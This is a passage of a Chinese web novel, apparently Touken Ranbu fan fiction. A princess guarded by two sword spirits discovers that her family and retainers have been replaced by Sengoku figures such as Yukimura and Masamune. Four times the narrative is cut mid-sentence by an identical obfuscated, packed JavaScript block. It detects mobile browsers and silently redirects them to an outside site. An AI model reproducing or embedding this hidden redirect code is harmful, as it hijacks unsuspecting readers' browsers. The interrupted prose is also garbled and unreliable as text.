她怔了怔,心里忽然有点说不清的失落。她知道那句话是出于保护与安慰,可听在耳里却让她有种被隔在门外的感觉。 自己只是被守护的对象,无法同行,无法出力,只能目送他们一个个披甲出阵,而她留在这安稳的屋舍里,祈祷他们平安归来。 就像那场昏迷前的逃亡一样明明拼尽力气,却依旧什么也改变不了。 她低下头,望着自己的双手。那双手白皙纤细,指尖圆润,没有一丝茧痕。如此纤弱柔软的手根本无法紧握刀柄。 如果一直这样,只能被保护着活下去…… 她心里泛起一阵迷茫。那真的是她想要的生活吗? 不想再任人宰割、不想再拖累任何人…… 可现实又是那样残酷,她清楚自己不通武艺,也不懂战斗。就算想帮他们,也只会成为负担。在战场上若是他们还要照顾她,只会让他们分心,给他们添麻烦。 夜子轻轻吸了口气,把那一瞬的失落压下,抬起头露出一个平静的笑容,“那就拜托你们了。” “我会努力的,不能再只是那个被守护的公主,不能再什么都做不了。”她心想,“那么接下来就要努力锻炼身体。” 幸好,她小时候爱爬树,也常常在庭院里追着弟弟玩闹。 想到那时的自己,夜子忍不住弯了弯唇角。 这或许就是她现在唯一的优势吧。相较于其他贵族女子,她的身体底子还算不错。而她的弟弟武艺不错,身手灵活又爱笑。要是能向他请教, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875501|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许—— 思绪在这一刻猛地停住。 空气似乎凝固了,她的脑海里闪过那场混乱的夜色。火光、喊杀、鲜血溅到她的脸上。她的弟弟,那个总是护着她笑的人,为了掩护她逃离,毅然转身冲向敌阵。 可现在—— 她怔怔地环顾四周。这里是她熟悉的房间,窗外传来虫鸣,木地板上没有血迹,也没有战火的焦味。一切都那么安静、干净,仿佛那场噩梦从未发生过。 “……不对。”她低声呢喃。 她还记得昏迷前怀剑说过的话。那是不是它已经帮自己实现了愿望?难道她的愿望就是让一切回到过去,回到战争还未爆发的时刻? 那么,现在的弟弟也还活着吗? 这个念头像火星一样在心底骤然燃起,烧去了她心头的阴霾。 夜子猛地站起身,几乎迫不及待地想去确认,想亲眼看看那些她失去的人是否真的还在。 父亲、弟弟、未婚夫,还有一直以来一直照顾着她的乳母和侍女。 光是想到这些画面,夜子的眼中便有了柔光。 她深吸一口气,稳了稳心神,转过身看向在场的刀剑们,“我昏迷的时候,你们一直在这里吗?”她轻声问道,期待的声音藏着微不可察的颤抖。 “是的,”烛台切光忠微微点头,语气一如既往地温和,“我们一直守在这里。” 她略微松了口气,又问:“那你们……有看到其他人吗?” “大将的弟弟来过。”药研藤四郎上前一步,“就是那位将我和兄弟们献给大将的大人。” “他来过了?”夜子轻轻笑着,“也对,他总是最关心我了。” 她想象着弟弟来过的模样,可不知为何那种熟悉的画面越清晰,胸口的酸楚就越深。 停顿了一下,她抬起头问,“那他说了什么吗? 药研回想,“他离开前说还会再来看你的。”而后他忽然微微偏过头,似乎听见了什么声音。 他唇角一抿,对她露出一个淡淡的笑。“看来那位大人好像回来了。” “我和烛台切殿会先回本体,”药研沉稳地说道,“大将不用担心,他们只会看到刀剑而已。” 他走上前,将短刀递到她手里。金属冰凉的触感透过指尖传来,夜子下意识地握紧,而烛台切光忠的本体更是早就在她手边安静地放着。 “好。”她点头笑道。 下一刻,两人的人影在空气中渐渐褪色,没入刀中。于是,房间骤然安静下来,只剩下她一个人和那渐渐靠近的脚步声。 “咯吱——”门被推开的一瞬,青年的声音在门口响起,带着松了一口气的轻快与真挚的喜色。他快步走进来,眼底满是欣喜,“你总算醒了,夜子。” 烛火摇曳,照亮了他微微汗湿的鬓角,也照亮了他那张年轻俊朗的面容。 夜子却僵在原地,像是被突如其来的寒意攫住。 “……你是谁?” 5. 替代 “喂,夜子,”陌生男子的声音带着关切,却又陌生得让她心底发凉,“你怎么了?” 夜子的目光在他脸上停了许久,无论是那双眼睛、那道眉、还是那张嘴都与她记忆中的弟弟毫无相似。 “我是幸村啊,”他皱起眉,嘴角微微撇下去,语气听起来像是在抱怨,“你连自己弟弟的长相都忘了?”语调里夹杂着些许无奈与轻轻的责备,可仔细一听,又带着几分柔软的撒娇意味。 是那种弟弟特有的、习惯依赖姐姐的语气。然而,也正是那一点点过于自然的熟悉,让夜子几乎感到窒息。 他不是她的弟弟,不管是样貌还是服装都截然不同。 药研见过真正的弟弟,他不可能认错,除非她的愿望不只是让时间回溯,而是篡改了她所在的现实。 所有人、所有记忆、所有存在的认知,都在她毫无察觉的瞬间被重写。那些本该存在的人、那些她深爱的人全都被一笔抹去,取而代之的是素未相识的陌生人。 而幸村的表现是如此的自然,自然得仿佛他们从一开始就该如此。 原来怀剑说的记忆指的是这个。 如果没有药研和烛台切他们阻挠怀剑的计划,她现在大概就无法意识到这点,只会沉溺在它编织的梦境里吧。 那这究竟算是美梦还是噩梦呢? 她的胸口仿佛被什么撕裂般疼痛。 那个会在她生气时躲到门后偷看的孩子,那个在夏夜里追着她笑的人被这个世界亲手抹去,只剩下眼前这个自称幸村的男人。 即便认出了他不是自己的弟弟,但当他因没被认出而表现出受伤与委屈时,那一瞬间,夜子仍然下意识想伸手去安抚他。 但只是几乎…… 她的指尖在空中微微一颤,却终究没能伸出去。 她盯着那张与记忆完全不符的脸。 如果弟弟能被替换,那么其他人呢?那些在那场入侵中死去的人、那些她以为再也见不到的面孔会不会也都像这样,被某个陌生人所取代? 翻涌的思绪几乎要将她吞没。 “抱歉,我只是……”她深吸一口气,努力将那一瞬间的绝望压回心底。她低垂着眼,声音轻得几乎听不见,“刚醒来,还没彻底清醒。” 幸村的眉头微微皱起,那神情并非责怪,而是带着困惑与担忧,“夜子,你……” 他迟疑地伸出手,想轻轻搭在她的肩头,然而夜子本能地退开半步,条件反射般地避开那触碰,动作快得连她自己都措手不及。 空气随即凝固。 幸村怔住,手停在空中,指尖微微蜷曲。他的表情在一瞬间闪过受伤的错愕,而夜子张了张嘴,喉咙发干,连道歉都几乎说不出声。 “抱歉,你先出去吧。”她低声说,避开了他的视线,像是在逃避什么,“等我彻底恢复了,会再来找你的。谢谢你来看我。” 幸村愣了片刻,似乎还想再说些什么,最终只是轻轻叹了口气,“……好吧。”他笑了笑,笑意浅淡又无奈,“你这人啊,从小就这样,什么都憋在心里。” 夜子没有回应,只是静静地看着地面。 她知道自己此刻的语气与态度都太生硬,甚至有些残酷,可她没有别的选择。再多看他一眼,错位的熟悉就会像针一样刺得她心口发疼。 “那我先走了。”幸村停在门口,回头望了她一眼,眼神在她脸上停留片刻,像是想确认些什么,“你好好休息。” 他顿了顿,又像怕空气太寂静似的补上一句,“你这次伤得可真重,也不知道是谁救了你,真该好好感谢对方。” 他话音一落,便偷偷观察她的神情。她的睫毛轻颤了一下,却始终没有抬头。 幸村的喉结微微滚动,没再开口,只是垂下眼,落寞地离开。 门关上的那一瞬,房间重新陷入死一般的寂静。 夜子怔怔地坐了好一会儿,才像是忽然失去了支撑般跌坐回床边。 淡淡的光芒在她身旁闪烁,药研藤四郎与烛台切光忠的身影从刀中浮现,隐隐有些担忧地看向她。 “大将……”药研的声音很轻,像怕惊扰她。 “他不是我弟弟。”她终于开口,声音几乎是呢喃,带着浓浓的疲惫。 药研垂下眼,沉默片刻后点了点头。 “是的,在大将说出来后,我也发现了。”他的语气里带着一丝难以掩饰的懊悔与自责,声音比平日更低,“居然在大将察觉前都没发现,这是我的失误。” 夜子看着他,微微摇了摇头,神情仍旧有些恍惚,“这不是你的错。”她顿了顿,“是有什么东西……改变了你的记忆吗?” 药研闻言眉心微微皱起,显然陷入思索之中,而后他抬起目光,紫色的瞳中闪过一瞬犹豫。 “与其说是改变,”他缓缓道,语气带着慎重,“倒不如说被屏蔽了。” 他轻轻呼出一口气,“在看到他的第一个瞬间,我就下意识地认为他就是大将的弟弟。” 那种感觉太自然了,像是被灌进一段事实。 他垂下视线,指尖不自觉地摩挲着刀柄,“几乎让人难以起疑。” 烛台切光忠的声音低沉下来,“既然主人的弟弟被替换掉了,那其他人……?”他似乎也产生了和她一样的猜想。 “我也有些怀疑。”夜子垂下眼,“所以我想出去看看外面的情况。” 药研藤四郎闻言,眸光一暗,随即挺直身形,“那大将把我一起带出去吧。”他的语气温和却不容置疑。 刀对主人的守护本能不需要多余的解释。 烛台切光忠微微一笑,“太刀可是战场上的利器哦。”他说得轻描淡写,语气带着一点调侃,但眼底的神色却认真得让人无法拒绝。 潜台词再明显不过。 他也要跟去。 夜子看着他们,唇角动了动,终究只是轻轻叹息。她明白若现在拒绝,他们只会更担心,也绝不会乖乖留在这里。 “……那就一起吧。”她低声道,语气中带着一点无奈的妥协。 她转身走向椅背,取下那件外衣。她抖开衣摆披在肩上,然后弯下腰将床侧那两振刀系在腰间。 当刀柄贴在身侧的那一刻,她忽然有种怪异的错觉。 她低头望着那对刀,竟然觉得自己有点像是传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875502|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说中的二刀流武士。只是那些故事里的武士腰间挂着的是胁差,而她的却是一振短刀。 她凝视着那短刀,“……二刀流啊,”她在心里喃喃,“听起来还挺像回事。” 她怎么敢把自己和武士相提并论,毕竟哪有武士像她一样无能脆弱? “拜托你们了。”她的手在刀柄上抚摸,给自己和他们一个无声的鼓励。随后,她深吸一口气,走向门口。 她推开门,外面安静得出奇。走廊尽头的烛火已经熄灭,只剩窗外洒进的一缕月光。 没有人声,没有脚步,连远处的虫鸣都如此安静。她屏住呼吸,能听见自己心跳的声音在空荡的屋内一点点扩大。 她的脚步几乎无声,轻得连地板都没有发出吱呀的回响。她顺着楼梯往下走,指尖下意识地触碰刀柄。 楼下的空气比楼上更冷,潮湿的夜风从门缝里钻进来,带着青草与露水的味道,却独独没有血腥味。 夜子握紧刀柄,目光逐渐沉静。 就在这时—— “公主在这里做什么?” 男子低沉的声音忽然从她身后传来。 那一瞬间,夜子的全身猛地一震,心脏骤然提到喉咙口。她猛然转身,手几乎在反射间掠上刀柄。月光从窗缝里倾泻而下,照亮她的侧脸与那双瞬间收紧的瞳孔。 有人在她身后。 她的肌肉紧绷起来,寒光刚露出半寸—— 还没等她拔出,那只手便忽然伸过来,牢牢按住了她的手腕。力道不重,却精准得几乎不给她任何反抗的空隙。 夜子不禁后退半步,可那人并没有进一步靠近,只是轻轻一叹,语气带着安抚。 “公主别担心,是我。” 那声音低沉而平稳,语调听起来莫名的熟悉,就仿佛不久前才听过类似的声音。月光从窗缝洒下,落在他的侧脸上,照亮了那张半隐于阴影中的面容。 他嘴角带着安抚的笑,像是在怕吓着她。左眼被一层黑色眼罩遮住,只露出右眼,那一只眼的颜色……是浅浅的金琥珀色。 夜子的呼吸在喉咙间一滞。那颜色,那笑意,那种温柔而略带从容的气质…… “烛台切?”她下意识地脱口而出。 那人微微一怔,像是被她突如其来的称呼弄得意外。他的眉头轻轻一挑,表情从一瞬的错愕转为困惑。 “嗯?什么烛台切?”他语气里带着困惑,似乎真的不明白她在说什么。 他轻歪着头,神情中流露出几分茫然与礼貌的疑惑,声音依旧温和:“公主是在唤我吗?” 夜子怔在原地,指尖仍被他握着。 “对不起,”她急忙低声说道,努力让自己的语气保持平稳,“是我认错人了。刚刚差点对你动手……实在是抱歉。” 她微微垂下头,心底仍有一股震颤未平。声音听上去镇定,但指尖却还在轻轻颤抖。 “没关系,”那人怔了怔,随即笑了笑,似乎并没有把这件事放在心上,“公主若是吓到了,也该是我不好。” 而他这个反应…… 夜子默了默。 看起来更像烛台切了。 6. 前主 “你是……政宗大人?” 夜子自己都不太确定为什么会脱口而出这个称呼。这不是家臣的名字,甚至不是她记忆里该知道的名字,可她就是知道这就是眼前这个男人的名字。 声音落下的瞬间,她自己也一愣。 她突然意识到她的记忆虽然没有被抹去,但是新的记忆却强行覆盖在过去的记忆上方。 她与被替代掉的家臣并没有太多交集,但是弟弟和他的关系很好,甚至亲如兄弟,所以偶尔在弟弟过来找她时也会看见对方的身影。 话一出口,她的脑海像被什么触发了一样,涌起一连串模糊的画面。那是一些零碎的记忆片段,阳光照在院中的石阶上,弟弟在一旁笑着与一名青年比试木刀。 夜子的指尖微微发紧,心跳还未平复,脑中却逐渐理清了那份突如其来的熟悉感。 “是我。”政宗点头,“公主不用对我这么拘谨,直接唤我名字就行。” 而烛台切光忠也是这么说的。 不仅外貌相似,就连性格也很好像有些相似,只是看起来政宗可能会更沉默寡言一些。 就跟她记忆里的家臣一样。 夜子的指尖轻颤了一下,脑中迅速闪过种种可能。接连遇到两个相似的人,令她不由得猜想他们之间是不是有什么关系。 是来自同个世界的人?是兄弟……不对,眼前的人似乎不是刀剑付丧神。 政宗似乎察觉到了她神情中的迟疑,“怎么了?公主。”他的声音低柔又带着磁性。 夜子被他那双清澈的眼眸盯得有些心慌。 “是我脸上有什么吗?”政宗轻声问,语调不急不缓,让人不自觉地屏息。 夜子立刻回过神来,连忙摇头,垂下视线,“并没有,”她低声道,指尖紧紧攥住衣袖,“如此无礼地盯着您真是失礼了。” 政宗微微一怔,随即失笑,“无妨,若是公主想看,任您看多少都行。” 夜子:“……?” 她愣了愣,没想到他会如此直白地回应。 她抬起头,正好撞进他眼中温和的笑意。那笑意不似玩笑,也无半点轻浮,而是温和得近乎包容,显然是他埋在心底的真实情绪。 那种坦然让夜子心底莫名一颤。她几乎能感受到那目光的温度,轻轻触碰着她的脸颊与睫毛。 他似乎真的是这么想的。 意识到这点的瞬间,夜子的脸颊微微发烫,连呼吸都乱了几拍。她慌忙移开视线,装作若无其事地轻咳了一声,想掩饰自己的慌乱。 “政宗大人说笑了,”她低声说道,语气有些不稳,“我并非那个意思。” 政宗看着她慌乱地避开自己,唇角的笑意更深了几分。 他并未继续调侃,只是静静注视着她。 “还是第一次见到公主这个模样……”他轻声说道。 夜子微微一怔,抬起头,“您说什么?” “没什么,”他笑着摇头,语调变得轻柔,“只是觉得……您和记忆里的模样,一样可爱。” 记忆里的? 夜子不确定这句话究竟是随口而出的恭维,还是另有含义。 她还来不及追问,政宗便像是察觉到她的犹豫一般,轻轻转移了话题。 “公主深夜出来,是有什么事吗?”他的声音温和,却带着几分细微的探问,“难道是为了找你口中的烛台切……?” “这名字听起来不像人名,”他轻声道,在提到那名字时,语气微微一顿,“反倒像是……刀的名字?” 烛台切……这名字为什么会让他觉得熟悉? 有一瞬间,他几乎就要追问下去,可终究还是将那句话压回喉间。 “烛台切确实是刀的名字。” 她决定先回答他后面的问题,至于后面的问题……她相信如果自己点头说是,对方大概会毫不犹豫地陪着她一同踏遍整座宅邸。 于是,她摇了摇头,回答得含糊,“其实只是半夜睡不着,就想着出去走走。” 这或许也不是什么好借口。 政宗轻轻皱了皱眉,脸上浮现出理所当然的担忧。 “虽然白天时已经出阵清理过一次,但难保还会有一些漏网之鱼。”他语气稳重,“若是外出,可能会遇到危险。” “危险……”夜子重复着,神情略显恍惚。她缓缓抬起头,嘴唇轻启,语气有些迟疑,“是因为外面还有很多鬼吗?” “正是如此。” 他的声音低沉,其中对鬼的杀意透露出一丝令人不安的冷意,却又包含着对她的安抚,“那些鬼在夜晚活动得更为频繁。请公主务必不要独自外出。” 他又补了一句,语气轻缓,“无论白天还是夜晚,都要多加小心。” “我知道了。”夜子轻轻点头,“谢谢你的提醒。” “公主不用多谢,”政宗的语气依旧恭敬,却带着笑意,“这本就是我的职责。” “你是要回去了吗?”他问道,目光略微下移,像是在确认她的神情。 “那我护送你回去吧。”他的话语温和,却不容拒绝。那语气里透出的习惯性保护,让夜子一时间有些不知所措。 “诶?”她微微一怔,反射性地摇了摇头,手轻轻摆了一下,“不用了。”她被突如其来的体贴弄得心口一紧,语气也变得有些慌乱,连带着尾音都轻轻颤了下。 政宗有些困惑地看向他。 她觉得自己拒绝得太快,心中涌上一丝歉意,却又不知道该如何补救。她咬了咬唇,只好小声地补了一句,“真的没关系的。” “明白了。”政宗那双琥珀色的眼眸弯了弯,笑意温柔从容,“那下次公主若需要帮忙,也可以随时找我。” 他语气中不显山不露水的体贴,让夜子微微怔住。 “……好。”她轻声应道。 虽然心底隐隐觉得自己根本没能在外头待多久就被劝回去,有些小小的不甘,但至少想确认的事情,她都已经知道了。 于是,在政宗那始终温和、却透着护卫意味的目光注视下,她只得顺势转身。脚步声轻轻踏在木板上,烛光在她背后渐渐远去。 直到身影消失在楼梯转角,政宗才微微垂眸,轻轻叹了口气。 * 回到房间后,夜子立刻将随身的刀剑解下,轻轻放在榻边。她抬头望向窗外,月光淡淡洒入,像一层薄纱笼罩在她的肩上。 “看来外面还是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875503|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼。”她喃喃自语,声音轻得几乎听不见,“我还以为,我许的愿望是会让鬼消失呢?” 她有些失落轻轻低下头,指尖轻轻摩挲着刀鞘的边缘,“看来我还太天真了。” “没关系的,大将。” 熟悉的声音从刀中传出,温和却坚定,像是在拂去她心底的阴霾。 “不管你的愿望是什么,我们都会一起找出来。” “没错。”烛台切光忠也微微笑着,沉稳地点了点头,目光柔和,“妳不是一个人。” 只是不知道为什么他的神情似乎有些恍惚,仿佛刚刚遭受某种巨大的冲击。 夜子怔了一下,随即露出一点浅浅的笑,“谢谢你们。” 她深吸了一口气,重新抬起头,语气比方才更为镇定,“刚刚和政宗大人接触后,我突然有了被更改后的记忆。” 听到这个名字,药研与烛台切光忠对视了一眼,神情微妙得仿佛空气都轻轻一滞。 “目前能够确定的是幸村替代了我的弟弟、政宗替代了我的家臣……” “信长替代了我的父亲、半兵卫替代了我的未婚夫。”她蹙着眉,继续思索,把错乱的记忆重新拼成完整的图像,“这两位是我在醒来后暂时没碰过面的。” 听到熟悉的名字,就连药研也脸色微变了。 夜子陷入沉思。 或许她应该主动去接触他们,去确认那被替换的真相。 可是一想到,自己的父亲、未婚夫如今都变成了陌生人的模样,那种撕裂般的疼痛便再次从胸口蔓延开来。 她思索着明日的行程,脑海里不断梳理那些被替换的名字与身份,思绪沉得太深,竟一时没注意到一旁的两人。 药研的眉间有一瞬的皱起,似乎想说什么却又犹豫,而烛台切则只是垂着眼,手指无意识地摩挲着刀鞘,像在压抑某种情绪。 那反应……太明显了。 夜子敏锐地察觉到,抬起头,神情带着一丝探询,“你们是认识他们吗?” 她停顿了一下,又若有所思地补充,“说起来,烛台切和政宗大人,给人的感觉确实很相似呢。” 她说这话时,语气里并没有怀疑或防备,反倒像是下意识的推测。他们之间的相似不仅仅是外貌或举止,更是一种……气质? 药研的目光微微一动。烛台切却在那一瞬间轻轻呼出一口气,唇角浮起一抹有些复杂的笑。 “政宗大人是我的原主。”烛台切光忠的声音平稳,但那股隐约的震动却泄露了他内心的波动,“只是没想到居然是政宗大人来到了这里……” “原来如此,那么一切就说得通了。”夜子心想。 能拥有并使用烛台切,想必在他原本的世界也是非常厉害的人物吧,所以才会被怀剑召唤来这里? 她抿了抿唇。 若连政宗这样的人都能被带到她的世界,那怀剑的力量究竟强大到何种地步? “是我想的那样没错吧?” 药研神色复杂,平日里镇定如常的面容此刻充满凝重迟疑,“重要历史人物来到了这里。” 两位刀剑付丧神对视一眼,都露出一言难尽的表情。 时之政府到底在做什么? 7. 忍者 烛台切光忠静静地立在一旁,垂眸沉思。他的指尖在无意识地摩挲刀鞘,眼底透露出复杂的情绪。 “那刚才自称是主人的弟弟的那位,”他顿了顿,语气里带着慎重与迟疑,“该不会是……真田幸村吧?” 可惜现在身边没有泛尘或是大千鸟十文字枪能够帮忙确认他的身份。 “这些名字你们都认识吗?”夜子好奇地问。 烛台切回过神来,轻轻颔首,“这些都是足以影响历史的大人物,”他说道,“其中有不少,是我们……又或是我们同伴的原主。” 夜子微微怔住,脑海中闪过那些人的样貌。 原来他们都曾是刀剑们的主人,那么…… “那他们被召唤来这里,”她皱起眉,“会不会引起什么问题?” 药研藤四郎一直沉默地听着,这时终于开口。 “恐怕会严重改变历史的走向。”他说,“如果他们留在这里太久,可能造成我们原本世界的巨大崩坏。” “我们得想办法,让他们回到他们原本的世界。”烛台切接道,“否则,无论是这里,还是他们的过去,都可能会被扭曲。” 夜子垂下眼帘。 只有怀剑知道真相。 如果她能亲口问它,或许就能了解这一切的缘由。可惜怀剑并不在她身边,撇去在昏迷时与怀剑里封印的小鬼见面,她最后一次见到它是在父亲的寝室。 她轻轻抿唇。 看来只能之后找个机会去确认了。 药研注意到她神情中那一丝倦意,轻轻叹了口气。 “大将,先休息一下吧。”他的语气温和却带着不容辩驳的坚定,“这些事情恐怕一时半会儿是解决不了了,大将可要养好精神,才方便之后行动。” 夜子微微摇头,声音低得几乎听不见:“我已经休息够了。” 如果昏迷也算休息的话……? 虽然与怀剑见面的那种休息不过是无梦的深渊,醒来时身体或许恢复了些许力气,心却像被碾过一样沉重。 “但是一时间要消化这么多信息,也会很累吧。”药研的声音低沉稳重,像在哄一个不肯睡的小孩,“我们会守护大将的,大将就安心地睡吧。” 烛台切光忠也点了点头,神情温柔,“是啊,主人,我们会保护你的。” 夜子张了张嘴,最终什么也没说。 她知道他们是为她好,也知道自己确实已经撑得太久了。 于是她默默起身,褪下外衣,钻进被褥。被褥的温度还带着一点余温,柔软得让她几乎有些恍惚。 难道这一切都是她的梦吗? 虽然城还未被攻陷、还见到了自己刀剑化作的付丧神,但至亲之人都被替代、鬼也在城外虎视眈眈……这究竟算是美梦还是噩梦呢? 烛台切替她掖好被角,动作一如既往地温和克制。药研则吹熄烛火,房间陷入了昏暗之中。 夜子闭上眼,听着两人的脚步声退到门边。疲惫终于在此刻如潮水般涌来,将她完全吞没。 或许她确实该休息了。 希望明天……会是美好的一天。 * 她醒来了。 意识像从深水里一点点浮上来。夜子缓缓睁开眼,脑中还残留着昨夜那种沉甸甸的疲惫。 她躺在床上,半晌没有动,只是盯着天花板出神。空气里弥漫着淡淡的木香与阳光的味道,她抬起手,手指微微颤抖,在光线中显得几乎透明。 阳光从窗口倾泻而入,照在她掌心上,有些刺眼。她下意识地抬手遮住眼睛。 虽然好暖和,但是好刺眼。 可是,只要这不是火光,就值得让人欣喜了。 她眨了眨眼,缓缓呼出一口气。胸口微微发紧,像是某种幻梦终于在此刻被阳光驱散。 是谁打开了窗口? 她记得昨晚烛火被吹熄时,窗户明明是关着的。 是药研?还是烛台切? 夜子支起身,褐色长发滑落到肩头,随着晨风轻轻摇动。她环顾四周,房间静悄悄的,只有床边多出的一把太刀证明他们曾经来过。 她轻轻呼出一口气,低声呢喃,“早安。” “公主早安。”回应她的并不是药研或烛台切光忠那温和低沉的声音,而是一道轻快熟悉的女声。 夜子微微一愣,侧头望去,只见她的侍女正掀开帘子走进来。那少女身着浅色和服,腰间束着柔蓝的腰带,眼角还带着一丝笑意。 “昨晚睡得还好吗?”侍女将茶盏放在桌上,语气中带着几分轻松的关切,“昨天听说您遭到鬼的袭击而昏迷,我们都很担心呢。不过听幸村大人说,您中途已经醒了一次,我们这才松了口气。” 夜子一怔。 幸村说的? 她垂下眼掩去神色,轻轻点了点头,“嗯,我已经没事了。” “公主是去了哪里吗?怎么会遇到鬼,而且衣服上也有撕裂和火烧的痕迹……”侍女走近几步,细细打量她,“幸村大人昨晚还特地嘱咐了我们给您换件干净的衣服。” 那语气中藏不住的担忧,让夜子心头一暖。 能够再次遇到这些照顾自己的人真是太好了,她肯定眼前的侍女并没有被替代掉。 “不必担心,”她温声答道,“我只是心里有些发闷,想出去走走。没想到暗处还有隐藏的鬼。” 话到此处,她顿了顿。 要解释自己能在鬼的手下活下来可不容易。她们都看着自己长大,清楚她的力气顶多也就在捕猎时捕捉一只兔子,面对鬼根本连自保都难。 她目光微转,嘴角浮起一丝若有若无的笑意,“不过幸好遇到了几位路过的英雄。” 药研和烛台切算是她的英雄吧,帮助了差点被怀剑所蛊惑的她。 “路过的英雄?”侍女惊讶地眨了眨眼,“那是什么样的人?” 夜子轻描淡写道:“就像故事里那种来去无踪的高手一样。” 侍女听得眼睛一亮,忽然掩唇笑起来:“那不就是忍者吗?难道是风魔大人?” “风魔……?”夜子轻轻重复着这个名字,心中微微一动。 父亲生前的确提起过自己准备接纳一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875504|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失去主公的忍者,但她听说对方在赶来这里的路上就已经遭遇鬼的袭击而死了。 可现在,她的记忆里却出现了一个活着的风魔小太郎。 他也是被替代的人吗? “那位忍者大人也来了吗?”夜子抬起头,语气不动声色。 “对啊,现在应该正在跟信长大人开会呢。公主要去看看吗?”侍女笑着点头,“信长大人还特地嘱咐过如果您醒了,想过去看看,也可以直接进去。” 夜子怔了一下,指尖微微收紧。 去看看……信长。那个如今取代了父亲位置的人。 她的心口像被什么轻轻压住,呼吸微微滞了一瞬。 “……”她没有立刻回应。 看出了她的迟疑,侍女柔声安慰道:“不想去也没关系,公主还没用膳呢。等您用完早膳,说不定他们就已经散会了。” 她一边说,一边仔细替夜子掖了掖披肩,语气里满是关切:“再说,公主身上的伤可还没好透。我看啊,还是先养好身子再出去走走吧。” 她笑着补充道,“最近大人们总是在开会,说不定等公主痊愈后,还会有其他会议要召开。到时候再去也不迟。” 夜子静静听着。 她知道侍女是在体贴她,也知道自己现在贸然前去,或许只会让心中的痛感更强烈。 “好。”她轻声应道,神情终于放缓,眉眼弯出一抹温柔的弧度,“谢谢你。” “公主这是什么话,”侍女笑着行礼,“这是我该做的。”她转身欲走,步伐轻盈,“早餐快备好了,待会我会端上来给公主。” “好的,辛苦你了。”夜子点头致意。 “那我就先去准备茶点了。”侍女的声音渐渐远去,只余门口轻轻合上的声响。 房间重新安静下来,但药研和烛台切还是没有出现,可能是顾虑到侍女很快又会再出现吧。 等到茶点与早餐被端上来时,房间弥漫起一股淡淡的米香与温热的汤气。她抬眼望了望,轻声道:“辛苦你们了,把东西放着就好。” 侍女点头,但仍有些担心地嘱咐,“那公主用完后就唤我们一声。” “好。”她微微一笑。 等到门被轻轻合上、脚步声远去,夜子低头看了一眼眼前的食物,却没有动筷。 “你们可以出来了。”她低声道。 随着她的呼唤,烛台切光忠与药研藤四郎的身影缓缓显现。 “抱歉,大将。”药研先开口,神情中带着几分歉意,“因为担心被人发现,所以刚刚没有现身。” 烛台切也微微点头,神情沉静,“毕竟现在的情况太微妙了。我们贸然现身,恐怕会给您带来不必要的麻烦。” 夜子垂下目光,轻轻抚了抚身旁的被褥。她明白他们的顾虑,她所在的世界是个女子身份并不自由的时代。若被人发现两个陌生男子出入她的寝室,不论他们的身份为何,都会被视为丑闻。 更何况她还是有未婚夫的人,尽管…… 她眸色黯了黯。 她的未婚夫也被陌生人替代了。 8. 灵力 药研也的确是在顾虑这点。 “如果乱在这里就好了。”他心想,不自觉地垂下眼睫,回忆起那个笑得天真又狡黠的兄弟。 明明和其他刀剑付丧神一样是以男子的身体现世,但总是穿着女装的乱却一点都不违和。 他的唇角微不可察地动了动。 如果乱在,他们的行动会轻松许多吧,至少有个明面上能陪伴守护大将的人在身边。 夜子叹了口气,指尖无意识地摩挲着茶杯的边缘,“但这不是办法,总不能一直藏着。” 她抬眸,语气认真,“我们得想个合理的身份。” 药研思索,然后开口提议道:“忍者怎么样?” “如果以忍者的身份行走,”他分析道,“来去无踪、行动神秘,都能解释我们为什么能随时出现消失。而且在这个时代,忍者的存在本身就合理,不会太突兀。” “确实。忍者的身份既方便隐藏,又能为公主提供保护的理由。”烛台切光忠轻轻颔首,露出赞同的神情。 他语气平稳,却带着一点细微的笑意,“而且刚刚那位侍女也有猜测是否是忍者救了主人,到时候我们还能顺势解释是谁救了公主。” 夜子愣了愣,随即轻轻点头。 